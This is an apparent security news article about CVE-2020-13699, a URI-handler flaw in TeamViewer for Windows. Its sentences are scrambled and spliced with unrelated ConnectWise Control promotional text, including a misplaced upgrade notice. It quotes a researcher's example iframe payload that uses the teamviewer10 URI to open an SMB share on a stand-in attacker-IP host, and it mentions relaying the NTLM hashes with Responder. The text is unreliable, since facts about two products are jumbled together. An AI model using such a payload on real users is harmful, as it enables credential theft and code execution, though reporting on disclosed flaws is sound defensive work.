Its security features include AES-256 encryption, 2FA, and user permission management tools.ĬonnectWise Control's Access features provide silent, fast service and seamless endpoint device management, enabling customers to continue their work without disruption. It is compatible with many operating systems and major browsers, and it is easy to configure and customize to enhance remote access management. Users are advised to upgrade to version 15.8.3 to close the hole.ConnectWise Control is remote access software that offers fast and secure connections anytime, anywhere, and on any device.
There is no indication that this vulnerability is being exploited in the wild and no public exploit is currently available.ĬIS assesses that the risk of exploitation is high for large and medium government and business entities, medium for small government and business entities, and low for home users.Īccording to the company, the vulnerability affects TeamViewer versions 8 through 15 (up to 15.8.2) for the Windows platform. The flaw seems ideal for targeted watering hole attacks. “Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”Īs noted before, exploitation of the flaw can be initiated remotely and requires no previous authentication. “An attacker could embed a malicious iframe in a website with a crafted URL ( iframe src='teamviewer10: -play \\attacker-IP\share\s') that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” explained Jeffrey Hofmann, a security engineer with Praetorian, who discovered and responsibly disclosed the flaw. About the vulnerability (CVE-2020-13699)ĬVE-2020-13699 is a security weakness arising from an unquoted search path or element – more specifically, it’s due to the application not properly quoting its custom URI handlers – and could be exploited when the system with a vulnerable version of TeamViewer installed visits a maliciously crafted website. Since the advent of COVID-19, enterprise use of the software has increased due to many employees being forced to work from home. It is used primarily for remote access to and control of various types of computer systems and mobile devices, but also offers collaboration and presentation features (e.g., desktop sharing, web conferencing, file transfer, etc.) TeamViewer is an application developed by German company TeamViewer GmbH and is available for Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8 and BlackBerry operating systems.
A high-risk vulnerability (CVE-2020-13699) in TeamViewer for Windows could be exploited by remote attackers to crack users’ password and, consequently, lead to further system exploitation.
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